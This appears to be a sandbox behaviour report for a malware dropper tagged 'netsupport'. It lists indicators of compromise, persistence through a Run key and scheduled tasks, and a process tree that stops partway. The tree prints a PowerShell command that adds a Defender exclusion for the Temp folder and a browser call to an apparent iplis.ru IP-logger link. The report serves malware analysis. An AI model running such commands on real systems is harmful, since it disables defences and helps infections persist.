netsupport | 8fe6c86b038ce91a991fe6eb8a9b323bb37b554ff6b4e5c18de3fe52d4aedf6d

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	2643181.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	2643181.exe

Loads dropped DLL 13 IoCs

pid	Process
4212	setup_install.exe
4212	setup_install.exe
4212	setup_install.exe
4212	setup_install.exe
4212	setup_install.exe
4212	setup_install.exe
3392	Thu21b93295136197.tmp
3392	Thu21b93295136197.tmp
1528	Thu214aaca5625.tmp
1640	stats.tmp
1640	stats.tmp
5552	setup_2.tmp
4412	setup_2.tmp

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe"	7358223.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	2643181.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 12 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com
3	ipinfo.io
265	ipinfo.io
326	ip-api.com
545	ipinfo.io
22	ipinfo.io
47	ipinfo.io
295	ipinfo.io
326	ipinfo.io
361	ipinfo.io
374	ipinfo.io
546	ipinfo.io

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
4912	2643181.exe

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\SmartPDF\SmartPDF\Visit.url	Setup.exe
File opened for modification	C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\SmartPDF\SmartPDF\Setup.exe	Setup.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 42 IoCs

pid	pid_target	Process	procid_target
4696	968	WerFault.exe	89
4896	1776	WerFault.exe	96
3180	2196	WerFault.exe	92
5136	3884	WerFault.exe	102
5924	4188	WerFault.exe	127
3540	4648	WerFault.exe	133
4968	1436	WerFault.exe	119
5700	2924	WerFault.exe	135
4868	4444	WerFault.exe	110
4292	4304	WerFault.exe	210
1320	6084	WerFault.exe	206
2948	4744	WerFault.exe	173
5692	5996	WerFault.exe	159
6016	5188	WerFault.exe	141
5212	800	WerFault.exe	188
1372	1072	WerFault.exe	253
3000	3184	WerFault.exe	272
5400	6084	WerFault.exe	291
1404	5592	WerFault.exe	301
5092	3968	WerFault.exe	310
1492	2748	WerFault.exe	340
1116	4692	WerFault.exe	376
1416	5912	WerFault.exe	392
4952	2440	WerFault.exe	385
5524	4736	WerFault.exe	381
5744	2020	WerFault.exe	401
2600	4836	WerFault.exe	398
3008	5700	WerFault.exe	397
5260	1072	WerFault.exe	411
5796	5012	WerFault.exe	449
3656	4364	WerFault.exe	459
6972	5268	WerFault.exe	458
6868	4708	WerFault.exe	471
1140	6420	WerFault.exe	491
5212	6528	WerFault.exe	482
1968	6276	WerFault.exe	492
3812	1668	WerFault.exe	499
1072	7084	WerFault.exe	507
4092	5904	WerFault.exe	523
904	6336	WerFault.exe	512
6380	6088	WerFault.exe	533
4704	4364	WerFault.exe	534

Checks processor information in registry 2 TTPs 35 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe

Creates scheduled task(s) 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
5424	schtasks.exe
5304	schtasks.exe
1556	schtasks.exe
4760	schtasks.exe
5508	schtasks.exe

Enumerates system info in registry 2 TTPs 13 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe

Kills process with taskkill 4 IoCs

evasion

pid	Process
4040	taskkill.exe
2088	taskkill.exe
1516	taskkill.exe
6272	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	Setup.exe

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
5572	PING.EXE
2948	PING.EXE

Script User-Agent 3 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	46	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	21	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	24	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
3888	powershell.exe
3888	powershell.exe
3888	powershell.exe
2388	Setup.exe
2388	Setup.exe
2388	Setup.exe
2388	Setup.exe
4896	WerFault.exe
4896	WerFault.exe
4696	WerFault.exe
4696	WerFault.exe
3180	WerFault.exe
3180	WerFault.exe
5136	WerFault.exe
5136	WerFault.exe
5940	msedge.exe
5940	msedge.exe
5924	WerFault.exe
5924	WerFault.exe
1112	msedge.exe
1112	msedge.exe
1640	stats.tmp
1640	stats.tmp
4984	Chrome 5.exe
4984	Chrome 5.exe

Suspicious use of AdjustPrivilegeToken 52 IoCs

description	pid	Process
Token: SeCreateTokenPrivilege	968	Thu21a1ef054cac78a.exe
Token: SeAssignPrimaryTokenPrivilege	968	Thu21a1ef054cac78a.exe
Token: SeLockMemoryPrivilege	968	Thu21a1ef054cac78a.exe
Token: SeIncreaseQuotaPrivilege	968	Thu21a1ef054cac78a.exe
Token: SeMachineAccountPrivilege	968	Thu21a1ef054cac78a.exe
Token: SeTcbPrivilege	968	Thu21a1ef054cac78a.exe
Token: SeSecurityPrivilege	968	Thu21a1ef054cac78a.exe
Token: SeTakeOwnershipPrivilege	968	Thu21a1ef054cac78a.exe
Token: SeLoadDriverPrivilege	968	Thu21a1ef054cac78a.exe
Token: SeSystemProfilePrivilege	968	Thu21a1ef054cac78a.exe
Token: SeSystemtimePrivilege	968	Thu21a1ef054cac78a.exe
Token: SeProfSingleProcessPrivilege	968	Thu21a1ef054cac78a.exe
Token: SeIncBasePriorityPrivilege	968	Thu21a1ef054cac78a.exe
Token: SeCreatePagefilePrivilege	968	Thu21a1ef054cac78a.exe
Token: SeCreatePermanentPrivilege	968	Thu21a1ef054cac78a.exe
Token: SeBackupPrivilege	968	Thu21a1ef054cac78a.exe
Token: SeRestorePrivilege	968	Thu21a1ef054cac78a.exe
Token: SeShutdownPrivilege	968	Thu21a1ef054cac78a.exe
Token: SeDebugPrivilege	968	Thu21a1ef054cac78a.exe
Token: SeAuditPrivilege	968	Thu21a1ef054cac78a.exe
Token: SeSystemEnvironmentPrivilege	968	Thu21a1ef054cac78a.exe
Token: SeChangeNotifyPrivilege	968	Thu21a1ef054cac78a.exe
Token: SeRemoteShutdownPrivilege	968	Thu21a1ef054cac78a.exe
Token: SeUndockPrivilege	968	Thu21a1ef054cac78a.exe
Token: SeSyncAgentPrivilege	968	Thu21a1ef054cac78a.exe
Token: SeEnableDelegationPrivilege	968	Thu21a1ef054cac78a.exe
Token: SeManageVolumePrivilege	968	Thu21a1ef054cac78a.exe
Token: SeImpersonatePrivilege	968	Thu21a1ef054cac78a.exe
Token: SeCreateGlobalPrivilege	968	Thu21a1ef054cac78a.exe
Token: 31	968	Thu21a1ef054cac78a.exe
Token: 32	968	Thu21a1ef054cac78a.exe
Token: 33	968	Thu21a1ef054cac78a.exe
Token: 34	968	Thu21a1ef054cac78a.exe
Token: 35	968	Thu21a1ef054cac78a.exe
Token: SeDebugPrivilege	1380	Thu21568b0ab8.exe
Token: SeDebugPrivilege	5040	Thu219d5fe8cf316.exe
Token: SeDebugPrivilege	3888	powershell.exe
Token: SeDebugPrivilege	1628	Thu2156de5489c19.exe
Token: SeDebugPrivilege	4444	5494266.exe
Token: SeDebugPrivilege	2388	Setup.exe
Token: SeRestorePrivilege	4696	WerFault.exe
Token: SeBackupPrivilege	4696	WerFault.exe
Token: SeRestorePrivilege	4896	WerFault.exe
Token: SeBackupPrivilege	4896	WerFault.exe
Token: SeDebugPrivilege	4188	Impedire.exe.com
Token: SeDebugPrivilege	1676	PublicDwlBrowser1100.exe
Token: SeDebugPrivilege	3540	WerFault.exe
Token: SeDebugPrivilege	5188	362715.exe
Token: SeDebugPrivilege	1416	regsvr32.exe
Token: SeDebugPrivilege	5996	8749478.exe
Token: SeDebugPrivilege	4984	Chrome 5.exe
Token: SeDebugPrivilege	4040	taskkill.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
3392	Thu21b93295136197.tmp
1640	stats.tmp
1112	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4836 wrote to memory of 4696	4836	setup_x86_x64_install.exe	77
PID 4836 wrote to memory of 4696	4836	setup_x86_x64_install.exe	77
PID 4836 wrote to memory of 4696	4836	setup_x86_x64_install.exe	77
PID 4696 wrote to memory of 4212	4696	setup_installer.exe	78
PID 4696 wrote to memory of 4212	4696	setup_installer.exe	78
PID 4696 wrote to memory of 4212	4696	setup_installer.exe	78
PID 4212 wrote to memory of 1120	4212	setup_install.exe	82
PID 4212 wrote to memory of 1120	4212	setup_install.exe	82
PID 4212 wrote to memory of 1120	4212	setup_install.exe	82
PID 4212 wrote to memory of 784	4212	setup_install.exe	106
PID 4212 wrote to memory of 784	4212	setup_install.exe	106
PID 4212 wrote to memory of 784	4212	setup_install.exe	106
PID 4212 wrote to memory of 3544	4212	setup_install.exe	83
PID 4212 wrote to memory of 3544	4212	setup_install.exe	83
PID 4212 wrote to memory of 3544	4212	setup_install.exe	83
PID 4212 wrote to memory of 4172	4212	setup_install.exe	84
PID 4212 wrote to memory of 4172	4212	setup_install.exe	84
PID 4212 wrote to memory of 4172	4212	setup_install.exe	84
PID 4212 wrote to memory of 3132	4212	setup_install.exe	85
PID 4212 wrote to memory of 3132	4212	setup_install.exe	85
PID 4212 wrote to memory of 3132	4212	setup_install.exe	85
PID 4212 wrote to memory of 3256	4212	setup_install.exe	86
PID 4212 wrote to memory of 3256	4212	setup_install.exe	86
PID 4212 wrote to memory of 3256	4212	setup_install.exe	86
PID 4212 wrote to memory of 2412	4212	setup_install.exe	105
PID 4212 wrote to memory of 2412	4212	setup_install.exe	105
PID 4212 wrote to memory of 2412	4212	setup_install.exe	105
PID 784 wrote to memory of 5040	784	cmd.exe	87
PID 784 wrote to memory of 5040	784	cmd.exe	87
PID 4212 wrote to memory of 4520	4212	setup_install.exe	104
PID 4212 wrote to memory of 4520	4212	setup_install.exe	104
PID 4212 wrote to memory of 4520	4212	setup_install.exe	104
PID 4212 wrote to memory of 572	4212	setup_install.exe	103
PID 4212 wrote to memory of 572	4212	setup_install.exe	103
PID 4212 wrote to memory of 572	4212	setup_install.exe	103
PID 3544 wrote to memory of 3884	3544	cmd.exe	102
PID 3544 wrote to memory of 3884	3544	cmd.exe	102
PID 3544 wrote to memory of 3884	3544	cmd.exe	102
PID 1120 wrote to memory of 3888	1120	cmd.exe	101
PID 1120 wrote to memory of 3888	1120	cmd.exe	101
PID 1120 wrote to memory of 3888	1120	cmd.exe	101
PID 4212 wrote to memory of 3600	4212	setup_install.exe	88
PID 4212 wrote to memory of 3600	4212	setup_install.exe	88
PID 4212 wrote to memory of 3600	4212	setup_install.exe	88
PID 4172 wrote to memory of 968	4172	cmd.exe	89
PID 4172 wrote to memory of 968	4172	cmd.exe	89
PID 4172 wrote to memory of 968	4172	cmd.exe	89
PID 4212 wrote to memory of 692	4212	setup_install.exe	100
PID 4212 wrote to memory of 692	4212	setup_install.exe	100
PID 4212 wrote to memory of 692	4212	setup_install.exe	100
PID 4212 wrote to memory of 1156	4212	setup_install.exe	90
PID 4212 wrote to memory of 1156	4212	setup_install.exe	90
PID 4212 wrote to memory of 1156	4212	setup_install.exe	90
PID 572 wrote to memory of 1628	572	cmd.exe	99
PID 572 wrote to memory of 1628	572	cmd.exe	99
PID 4212 wrote to memory of 1440	4212	setup_install.exe	97
PID 4212 wrote to memory of 1440	4212	setup_install.exe	97
PID 4212 wrote to memory of 1440	4212	setup_install.exe	97
PID 3600 wrote to memory of 1776	3600	cmd.exe	96
PID 3600 wrote to memory of 1776	3600	cmd.exe	96
PID 3600 wrote to memory of 1776	3600	cmd.exe	96
PID 3256 wrote to memory of 1844	3256	cmd.exe	95
PID 3256 wrote to memory of 1844	3256	cmd.exe	95
PID 3256 wrote to memory of 1844	3256	cmd.exe	95

C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4836
- C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
  "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4696
- - C:\Users\Admin\AppData\Local\Temp\7zS8522BC24\setup_install.exe
    "C:\Users\Admin\AppData\Local\Temp\7zS8522BC24\setup_install.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:4212
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1120
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3888
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Thu21624565bb917a.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3544
    - - C:\Users\Admin\AppData\Local\Temp\7zS8522BC24\Thu21624565bb917a.exe
        
        Thu21624565bb917a.exe
        5⤵
        Executes dropped EXE
        
        PID:3884
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3884 -s 312
        6⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:5136
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Thu21a1ef054cac78a.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4172
    - - C:\Users\Admin\AppData\Local\Temp\7zS8522BC24\Thu21a1ef054cac78a.exe
        
        Thu21a1ef054cac78a.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:968
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 968 -s 2012
        6⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4696
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Thu2164f292a11ce.exe
      4⤵
      PID:3132
    - - C:\Users\Admin\AppData\Local\Temp\7zS8522BC24\Thu2164f292a11ce.exe
        
        Thu2164f292a11ce.exe
        5⤵
        Executes dropped EXE
        
        PID:2544
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Thu21b93295136197.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3256
    - - C:\Users\Admin\AppData\Local\Temp\7zS8522BC24\Thu21b93295136197.exe
        
        Thu21b93295136197.exe
        5⤵
        Executes dropped EXE
        
        PID:1844
      - C:\Users\Admin\AppData\Local\Temp\is-FVNTN.tmp\Thu21b93295136197.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-FVNTN.tmp\Thu21b93295136197.tmp" /SL5="$20174,138429,56832,C:\Users\Admin\AppData\Local\Temp\7zS8522BC24\Thu21b93295136197.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of FindShellTrayWindow
        
        PID:3392
        
        C:\Users\Admin\AppData\Local\Temp\is-PF60N.tmp\Setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-PF60N.tmp\Setup.exe" /Verysilent
        7⤵
        Executes dropped EXE
        Drops file in Program Files directory
        
        PID:2840
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://iplis.ru/1S2Qs7
        8⤵
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        
        PID:1112
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffcad4c46f8,0x7ffcad4c4708,0x7ffcad4c4718
        9⤵
        
        PID:1448
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2088,13403126522167248681,16136271736284550959,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2100 /prefetch:2
        9⤵
        
        PID:5804
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2088,13403126522167248681,16136271736284550959,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2152 /prefetch:3
        9⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:5940
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2088,13403126522167248681,16136271736284550959,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2612 /prefetch:8
        9⤵
        
        PID:6036
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,13403126522167248681,16136271736284550959,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3176 /prefetch:1
        9⤵
        
        PID:2208
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,13403126522167248681,16136271736284550959,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3316 /prefetch:1
        9⤵
        
        PID:3132
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,13403126522167248681,16136271736284550959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4724 /prefetch:1
        9⤵
        
        PID:5272
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,13403126522167248681,16136271736284550959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4740 /prefetch:1
        9⤵
        
        PID:3260
        
        C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2088,13403126522167248681,16136271736284550959,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5688 /prefetch:8
        9⤵
        
        PID:6020
        
        C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2088,13403126522167248681,16136271736284550959,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5688 /prefetch:8
        9⤵
        
        PID:5700
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2088,13403126522167248681,16136271736284550959,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=4688 /prefetch:2
        9⤵
        
        PID:4056
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,13403126522167248681,16136271736284550959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5176 /prefetch:1
        9⤵
        
        PID:236
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
